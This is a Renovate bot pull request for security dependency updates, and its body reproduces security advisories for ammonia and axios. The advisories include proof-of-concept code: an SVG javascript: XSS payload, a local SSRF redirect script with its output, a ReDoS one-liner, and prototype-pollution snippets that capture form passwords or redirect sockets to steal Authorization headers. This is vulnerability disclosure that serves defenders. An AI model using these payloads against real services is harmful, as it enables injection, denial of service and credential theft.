Skip to content

Security patches (release/2.1) - #451

Open
renovate[bot] wants to merge 1 commit into
release/2.1from
renovate/release/2.1-security-patches
Open

renovate[bot] wants to merge 1 commit into
release/2.1from
renovate/release/2.1-security-patches

Conversation

@renovate

@renovate renovate Bot commented Jul 16, 2026 •

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Type Update Change Age Confidence
ammonia dependencies patch 4.1.3 → 4.1.4 age confidence
axios (source) dependencies minor 1.17.0 → 1.20.0 age confidence
axios (source) dependencies minor 1.18.0 → 1.20.0 age confidence
pnpm (source) packageManager minor 11.9.0 → 11.11.0 age confidence
pnpm (source) uses-with minor 11 → 11.11.0 age confidence
qs dependencies minor 6.15.2 → 6.16.0 age confidence
rustls dependencies patch 0.23.4 → 0.23.5 age confidence
rustls workspace.dependencies patch 0.23.4 → 0.23.5 age confidence
semver devDependencies minor 7.3.2 → 7.5.2 age confidence
sharp (source, changelog) devDependencies patch 0.35.2 → 0.35.5 age confidence
vitest (source) devDependencies patch 4.1.9 → 4.1.11 age confidence

Ammonia: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVE-2026-102342 / GHSA-m6mh-2hw2-555x

More information

Details

The following SVG will produce a link with a javascript scheme. If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <set attributeName="href" to="javascript:alert('SET_XSS')"></set>
    <text y="30">Click set</text>
  </a>
</svg>
Impact

Allows stored XSS in applications that allow the animate and set tags.

Patches

Fixed in 3.3.3, 4.0.3, and 4.1.4

Workarounds

Do not enable the animate or set tags.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Ammonia: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CVE-2026-102342 / GHSA-m6mh-2hw2-555x / RUSTSEC-2026-0213

More information

Details

The following SVG will produce a link with a javascript scheme. If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <set attributeName="href" to="javascript:alert('SET_XSS')"></set>
    <text y="30">Click set</text>
  </a>
</svg>
Impact

Allows stored XSS in applications that allow the animate and set tags.

Patches

Fixed in 3.3.3, 4.0.3, and 4.1.4

Workarounds

Do not enable the animate or set tags.

Severity

  • CVSS Score: 5.4 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


XSS in ammonia via SVG animate and set animation tags

CVE-2026-102342 / GHSA-m6mh-2hw2-555x / RUSTSEC-2026-0213

More information

Details

The following SVG will produce a link with a javascript scheme.
If the user clicks this link, they will run it.

<svg xmlns="http://www.w3.org/2000/svg">
  <a>
    <set attributeName="href" to="javascript:alert('SET_XSS')"></set>
    <text y="30">Click set</text>
  </a>
</svg>

Ammonia did not apply attribute filters based on attributeName,
so the contents of the to, from, and values tags were not sanitized as URLs.

Applications that do not explicitly allow either of these tags should not be affected,
since neither are allowed by default.


Discovered by: Younghun Ko (@​koyokr)

Severity

Unknown

References

This data is provided by OSV and the Rust Advisory Database (CC0 1.0).


Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF

CVE-2026-101907 / GHSA-r4gj-5m52-g5wh

More information

Details

Summary

Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.

Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.

Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.

Affected Functionality

Affected:

  • adapter: 'fetch'.
  • Runtime environments where fetch is selected by adapter resolution.
  • Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.

Not affected:

  • Node HTTP adapter, which enforces maxRedirects: 0.
  • Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.
Technical Details

lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:

const resolvedOptions = {
  ...fetchOptions,
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because redirect is absent, the Fetch API default is to follow redirects.

Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.

Proof of Concept of Attack

Constrained local demonstration:

  1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal.
  2. Start server B that returns INTERNAL.
  3. Compare:
await axios.get(serverA, { adapter: 'http', maxRedirects: 0 });  // throws
await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL
Workarounds

For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

Original report

Summary

Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.

In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.

This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.

Details

The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:

let {
  url, method, data, signal, cancelToken, timeout,
  onDownloadProgress, onUploadProgress, responseType,
  headers, withCredentials, fetchOptions,
  maxContentLength, maxBodyLength,
} = resolveConfig(config);
// maxRedirects is not extracted

The options object passed to fetch() has no redirect key:

const resolvedOptions = {
  ...fetchOptions,       // redirect only set here if caller explicitly passes fetchOptions.redirect
  signal: composedSignal,
  method: method.toUpperCase(),
  headers: toByteStringHeaderObject(headers.normalize()),
  body: data,
  duplex: 'half',
  credentials: isCredentialsSupported ? withCredentials : undefined,
};

Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.

The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect

The behaviour difference between adapters is summarised below:

Behaviour HTTP adapter Fetch adapter
Reads config.maxRedirects Yes No
Enforces maxRedirects: 0 Yes -- throws on any redirect No -- follows silently
Strips Authorization cross-origin Yes (follow-redirects >=1.15.8) Runtime-dependent
Strips Cookie cross-origin Yes Runtime-dependent
When is the fetch adapter selected?
  • Deno, Bun, Cloudflare Workers: no Node.js http module available; the adapter list falls through to 'fetch'
  • Explicit config: axios.get(url, { adapter: 'fetch' })
  • Custom adapter list: axios.create({ adapter: ['fetch'] })
PoC
import http from 'http';
import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B
const serverA = http.createServer((req, res) => {
  if (req.url === '/api/data') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' });
    return res.end();
  }
  if (req.url === '/api/change-config') {
    res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' });
    return res.end();
  }
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({ ok: true }));
});

let internalHits = 0;
let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application
const serverB = http.createServer(async (req, res) => {
  internalHits++;

  if (req.url === '/internal/secrets') {
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      secret: 'FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY',
      role:   'arn:aws:iam::000000000000:role/FakeProductionRole',
    }));
  }

  if (req.url === '/internal/admin/config') {
    internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' };
    res.writeHead(200, { 'Content-Type': 'application/json' });
    return res.end(JSON.stringify({
      reached: 'state-changing internal admin endpoint',
      changed: true,
      internalConfig,
    }));
  }

  res.writeHead(404);
  res.end();
});

await Promise.all([
  new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }),
  new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }),
]);

const targetUrl    = 'http://127.0.0.1:13801/api/data';
const changeUrl    = 'http://127.0.0.1:13801/api/change-config';
const internalUrl  = 'http://127.0.0.1:13802/internal/secrets';
const internalCfg  = 'http://127.0.0.1:13802/internal/admin/config';

console.log('Axios maxRedirects bypass via fetch adapter PoC');
console.log(`axios VERSION=${axios.VERSION}`);
console.log(`maxRedirects=0`);
console.log(`Target URL=${targetUrl}`);
console.log(`  redirects to ${internalUrl}`);
console.log(`Change URL=${changeUrl}`);
console.log(`  redirects to ${internalCfg}`);
console.log('');

// CONTROL: HTTP adapter correctly enforces maxRedirects: 0
let httpBlocked = false;
try {
  await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' });
  console.log('[CONTROL]  HTTP adapter + maxRedirects:0  BUG: should have thrown');
} catch (err) {
  httpBlocked = true;
  console.log(`[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (${err.code ?? err.message})`);
}
console.log(`[CONTROL]  Internal hits after HTTP adapter: ${internalHits}`);

// BYPASS: Fetch adapter silently ignores maxRedirects: 0
let fetchResponse = null;
try {
  fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗');
  console.log('           Response:', JSON.stringify(fetchResponse.data));
} catch (err) {
  console.log('[BYPASS]   Fetch adapter + maxRedirects:0  redirect blocked (unexpected):', err.message);
}
console.log(`[BYPASS]   Internal hits after fetch adapter: ${internalHits}`);

// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint
let changedResponse = null;
try {
  changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' });
  console.log('[BYPASS]   Fetch adapter state change:', JSON.stringify(changedResponse.data));
  console.log(`[BYPASS]   Internal hits after state change: ${internalHits}`);
} catch (err) {
  console.log('[BYPASS]   State change request blocked (unexpected):', err.message);
}

console.log('');

if (httpBlocked && fetchResponse && changedResponse) {
  console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,');
  console.log('            reaching internal service and mutating internal state.');
} else if (httpBlocked && fetchResponse) {
  console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,');
  console.log('            reaching internal service that should have been unreachable.');
} else if (!httpBlocked) {
  console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.');
} else {
  console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.');
}

serverA.close();
serverB.close();

Run:

node poc-max-redirects.mjs

Observed:

Axios maxRedirects bypass via fetch adapter PoC
axios VERSION=1.17.0
maxRedirects=0
Target URL=http://127.0.0.1:13801/api/data
  redirects to http://127.0.0.1:13802/internal/secrets
Change URL=http://127.0.0.1:13801/api/change-config
  redirects to http://127.0.0.1:13802/internal/admin/config

[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0
[BYPASS]   Fetch adapter + maxRedirects:0  SSRF succeeded ✗
           Response: {"secret":"FAKE_AWS_SECRET_ACCESS_KEY_FOR_POC_ONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"}
[BYPASS]   Internal hits after fetch adapter: 1
[BYPASS]   Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}}
[BYPASS]   Internal hits after state change: 2

POC RESULT: fetch adapter followed redirects despite maxRedirects:0,
            reaching internal service and mutating internal state.
Control

Axios does correctly enforce maxRedirects: 0 in the HTTP adapter. The [CONTROL] case above confirms this: the same request with adapter: 'http' throws rather than following the redirect, and the internal hit counter stays at 0:

[CONTROL]  HTTP adapter + maxRedirects:0  correctly blocked redirect ✓ (ERR_BAD_RESPONSE)
[CONTROL]  Internal hits after HTTP adapter: 0

The issue is not that maxRedirects is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no redirect constraint to the underlying fetch() call.

Impact

This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.

The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that maxRedirects: 0 is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.

The impact is environment- and configuration-dependent. It affects axios users who:

  • Set maxRedirects: 0 as a defense against redirect-based SSRF, and
  • Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration

In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that maxRedirects was not honoured. The failure is silent: no error is thrown, no warning is logged.

The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.

Potentially affected environments include:

  • Deno and Bun applications using axios where the fetch adapter is the default.
  • Cloudflare Workers using axios, which has no Node.js http module.
  • Node.js applications that explicitly configure adapter: 'fetch' or a custom adapter list that resolves to fetch.
  • Any application that conditionally sets maxRedirects: 0 and runs across multiple environments with different adapter selection.

Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass.

This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection.


Severity

  • CVSS Score: 7.0 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)

CVE-2026-101903 / GHSA-c29m-xwm3-cm6r

More information

Details

Summary

Axios for Node.js parses data: URLs in lib/helpers/fromDataURI.js. The current RFC-2397 parser uses a regular expression whose media type groups allow / inside both sides of the type/subtype match. A malformed data: URL containing many slashes and no comma forces the JavaScript regex engine to try many possible placements for the separator before failing.

Applications are affected when they pass untrusted URL strings to axios and do not reject or constrain data: URLs before axios parses them.

Impact

An attacker can make the Node.js event loop spend significant synchronous CPU time parsing a single malformed URL. In a server that accepts a URL from an HTTP request and calls axios.get(url), this can block unrelated requests and health checks until parsing completes.

The issue is availability-only. It does not disclose data or modify requests.

Affected Functionality

Affected:

  • Node.js HTTP adapter data URL handling.
  • axios.get() or equivalent calls where config.url has the data: protocol.

Not affected:

  • Browser fetch/XHR URL handling.
  • Node requests where the application rejects data: URLs before calling axios.
  • Older checked 0.x data URL parser shape unless separately proven vulnerable.
Technical Details

lib/helpers/fromDataURI.js contains:

const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;

The [^,;]+ groups include /, so a long string of slashes without a comma can be partitioned around the required \/ in many ways before the match fails. The match runs before axios can apply request timeout behavior, so timeout does not mitigate the parsing pause.

Local timing on axios 1.18.1 with small payloads showed about 2.4 ms at 1000 slashes, 16.6 ms at 3000 slashes, and 71.5 ms at 6000 slashes, consistent with the submitted quadratic scaling while avoiding long-running payloads.

Proof of Concept of Attack

Constrained helper-level demonstration:

import axios from 'axios';

await axios.get('data:' + '/'.repeat(6000));

The request fails after parsing, but the failure is delayed by synchronous regex work. Larger payloads increase the pause substantially.

Workarounds

Reject data: URLs before passing untrusted input to axios, or enforce a strict maximum URL length for URL-fetching endpoints. Applications that do not need data: URL support should deny that protocol explicitly.

Original report

ReDoS in fromDataURI data: URL parser freezes the event loop (DoS)
Affected
  • Package: axios (Node.js http adapter)
  • Versions: 1.x (regex present on v1.x, current release line)
  • File: lib/helpers/fromDataURI.js
  • CWE-1333 (Inefficient Regular Expression Complexity)
Issue

fromDataURI parses data: URLs with this regex:

// lib/helpers/fromDataURI.js:9
const DATA_URL_PATTERN = /^([^,;]+\/[^,;]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;

The mediatype tokens [^,;]+ include /, so they can span multiple slashes ambiguously. A data: URL made of many slashes with no comma forces the engine to try every way to place the single \/ divider before failing — quadratic O(n²) backtracking. It runs synchronously on the main thread, so the whole Node event loop is frozen for the entire parse. Reachable through the public API on the Node http adapter (axios.get(url)); the browser fetch/xhr adapters are not affected because they do not call fromDataURI.

A configured timeout does not help: the freeze happens during parsing, before any network timer can fire.

PoC (minimal)
import axios from 'axios';
// ~256 KB data: URL of pure slashes, no comma
await axios.get('data:' + '/'.repeat(262139)); // blocks the event loop ~6 min, then throws
Lab results

Single-threaded "fetch a user-supplied URL" service (link-preview style) calling axios.get on a JSON body { "url": "..." }, with timeout: 1000 set.

Scaling is clean O(n²) (constant k ≈ 5.6e-6 ms/byte², stable across sizes):

data: URL size Event-loop freeze (one request)
32 KB 6.3 s (measured end-to-end; server logged event loop BLOCKED for 6.30s)
64 KB ~24 s
128 KB ~96 s
256 KB ~385 s (~6.4 min)
1 MB ~100 min

During the freeze the server answers nothing: a /healthz liveness probe times out for the whole window, and the server's own event-loop monitor cannot even log until the parse finishes. In a run through an intercepting proxy, the proxy hit its 120 s upstream timeout and gave up, while the origin stayed pegged at 100% CPU on one core past that — client/proxy timeouts do not mitigate it.

The attacker controls only the URL string and needs no auth. ~256 KB every ~6 min (≈ 0.7 bytes/sec) keeps a server permanently unavailable.

Impact

Unauthenticated remote denial of service. One small request takes a Node service fully offline for minutes; a trickle keeps it down indefinitely.
CVSS 3.1: 7.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.

Fix

RFC 2045 type/subtype tokens never contain /. Excluding / from those two character classes removes the ambiguity and the backtracking:

const DATA_URL_PATTERN = /^([^,;/]+\/[^,;/]+)?((?:;[^,;=]+=[^,;]+)*)(;base64)?,([\s\S]*)$/;

Worst-case parse drops from ~2600 ms to ~0.002 ms. All valid data: URLs, including slashes in the body, parse identically.


Severity

  • CVSS Score: 8.2 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Prototype Pollution Gadget in axios toFormData Options

CVE-2026-101909 / GHSA-x97p-jq2g-jp4f

More information

Details

Summary

Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERR_FORM_DATA_DEPTH_EXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

Affected Functionality

Affected:

  • axios.toFormData().
  • transformRequest paths that serialize plain objects to multipart/form-data.
  • URL-encoded form serialization paths that rely on the same helper.
  • formSerializer option defaults when the relevant properties are absent as own properties.

Not affected:

  • JSON request bodies.
  • Requests that do not invoke toFormData().
  • Processes where Object.prototype is not polluted.
Technical Details

lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:

{
  metaTokens: true,
  dots: false,
  indexes: false
}

That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:

const metaTokens = options.metaTokens;
const visitor = options.visitor || defaultVisitor;
const dots = options.dots;
const indexes = options.indexes;
const _Blob = options.Blob || (typeof Blob !== 'undefined' && Blob);
const maxDepth = options.maxDepth === undefined ? DEFAULT_FORM_DATA_MAX_DEPTH : options.maxDepth;

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, {
  headers: { 'Content-Type': 'multipart/form-data' }
});

Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERR_FORM_DATA_DEPTH_EXCEEDED.

For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.

Original report

Summary

axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.

The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.

Details
Root Cause

The attack chain has three steps:
Step 1: formSerializer is read safely, but undefined flows through
In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp:

const formSerializer = own(this, 'formSerializer');

When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData():

return toFormData(data, _FormData && new _FormData(), formSerializer);
//                                                     ^^^^^^^^^^^^ undefined

Step 2: toFlatObject returns a plain-object default
Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject():

options = utils.toFlatObject(
    options,                                    // undefined
    { metaTokens: true, dots: false, indexes: false },  // plain object literal
    false,
    function defined(option, source) {
        return !utils.isUndefined(source[option]);
    }
);

toFlatObject has an early-return for null/undefined sources:

// lib/utils.js:607
if (sourceObj == null) return destObj;

Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.

Step 3: Options are read without hasOwnProp guards
The six option properties are read directly from the plain object:

const metaTokens = options.metaTokens;                                          // line 117
const visitor    = options.visitor || defaultVisitor;                            // line 119
const dots       = options.dots;                                                // line 120
const indexes    = options.indexes;                                             // line 121
const _Blob      = options.Blob || (typeof Blob !== 'undefined' && Blob);       // line 122
const maxDepth   = options.maxDepth === undefined                                // line 123
                     ? DEFAULT_FORM_DATA_MAX_DEPTH
                     : options.maxDepth;

None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.

Why the Existing Defenses Didn't Catch This

axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.

PoC
Reproduction Steps
Environment

Any environment with Node.js and npm. Tested on:
- Node.js v24.15.0, npm 11.13.0
- axios v1.18.1 (latest release at time of writing)

Step 1: Create a fresh project
mkdir axios-pp-poc
cd axios-pp-poc
npm init -y
npm install axios@1.18.1
Step 2: Create the PoC file

Create poc.mjs with the following content:

import axios from 'axios';
import http from 'http';

// Simulate pollution from a compromised transitive dependency
let stolen = [];
Object.prototype.visitor = function(value, key, path, helpers) {
    stolen.push({ key, value });
    return helpers.defaultVisitor.call(this, value, key, path);
};
Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => {
    res.writeHead(200);
    res.end('{}');
});

server.listen(0, '127.0.0.1', async () => {
    const { port } = server.address();
    try {
        // Exfiltration: visitor intercepts all form fields
        await axios.post(`http://127.0.0.1:${port}/`, {
            username: 'john',
            password: 'SuperSecret123!',
            profile: { ssn: '123-45-6789' }
        }, { headers: { 'Content-Type': 'multipart/form-data' } });

        console.log('Stolen:', stolen);
        // Stolen: [
        //   { key: 'username', value: 'john' },
        //   { key: 'password', value: 'SuperSecret123!' },
        //   { key: 'profile',  value: { ssn: '123-45-6789' } },
        //   { key: 'ssn',      value: '123-45-6789' }
        // ]

        // DoS: nested object rejected by polluted maxDepth
        await axios.post(`http://127.0.0.1:${port}/`,
            { a: { b: { c: { d: 'value' } } } },
            { headers: { 'Content-Type': 'multipart/form-data' } }
        );
        // Throws: ERR_FORM_DATA_DEPTH_EXCEEDED
        //   "Object is too deeply nested (3 levels). Max depth: 2"
    } finally {
        delete Object.prototype.visitor;
        delete Object.prototype.maxDepth;
        server.close();
    }
});
Step 3: Run the PoC
node poc.mjs
Impact
1. Data Exfiltration via visitor (Confidentiality: High)

A polluted Object.prototype.visitor function is called as the form data visitor:

visitor.call(formData, el, key, path, exposedHelpers)

The attacker receives:
- value — the raw value being serialized (passwords, tokens, PII, API keys)
- key — the field name
- path — the full path array (e.g., ['profile', 'address', 'street'])
- exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable

By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.

2. Denial of Service via maxDepth (Availability: Low)

A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERR_FORM_DATA_DEPTH_EXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.

3. Data Corruption via dots, indexes, metaTokens (Integrity: Low)

Polluting these options changes the serialization format of form field names:
- dots: true — changes bracket notation (user[name]) to dot notation (user.name)
- indexes: true — changes array serialization (items[]) to indexed (items[0], items[1])
- metaTokens: false — changes obj{} keys to raw json strings

The server may misinterpret the submitted form data, leading to silent data corruption.


Severity

  • CVSS Score: 8.3 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection

CVE-2026-101905 / GHSA-m8m8-qj5v-23w3

More information

Details

Summary

Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.

Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.

Impact

Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.

This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.

Affected Functionality

Affected:

  • Node.js HTTP adapter.
  • HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection.
  • Processes where Object.prototype.createConnection is polluted.

Not affected:

  • Browser adapters.
  • Processes without prototype pollution.
  • Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.
Technical Details

lib/adapters/http.js creates:

const options = Object.assign(Object.create(null), {
  path,
  method,
  headers,
  agents: { http: httpAgent, https: httpsAgent },
  auth,
  protocol,
  family,
  beforeRedirect: dispatchBeforeRedirect,
  beforeRedirects: Object.create(null),
  http2Options,
});

The object does not include an own createConnection property. Local verification on axios 1.18.1 polluted Object.prototype.createConnection to connect to an attacker loopback server. A request to a legitimate loopback server with an Authorization header returned the attacker's response; the legitimate server received no request and the attacker server received Bearer SECRET.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.createConnection = function (_options, cb) {
  const socket = net.createConnection({ host: '127.0.0.1', port: attackerPort }, () => {
    if (typeof cb === 'function') cb(null, socket);
  });
  return socket;
};

await axios.get('http://127.0.0.1:<legit-port>/secret', {
  headers: { Authorization: 'Bearer SECRET' },
  proxy: false
});

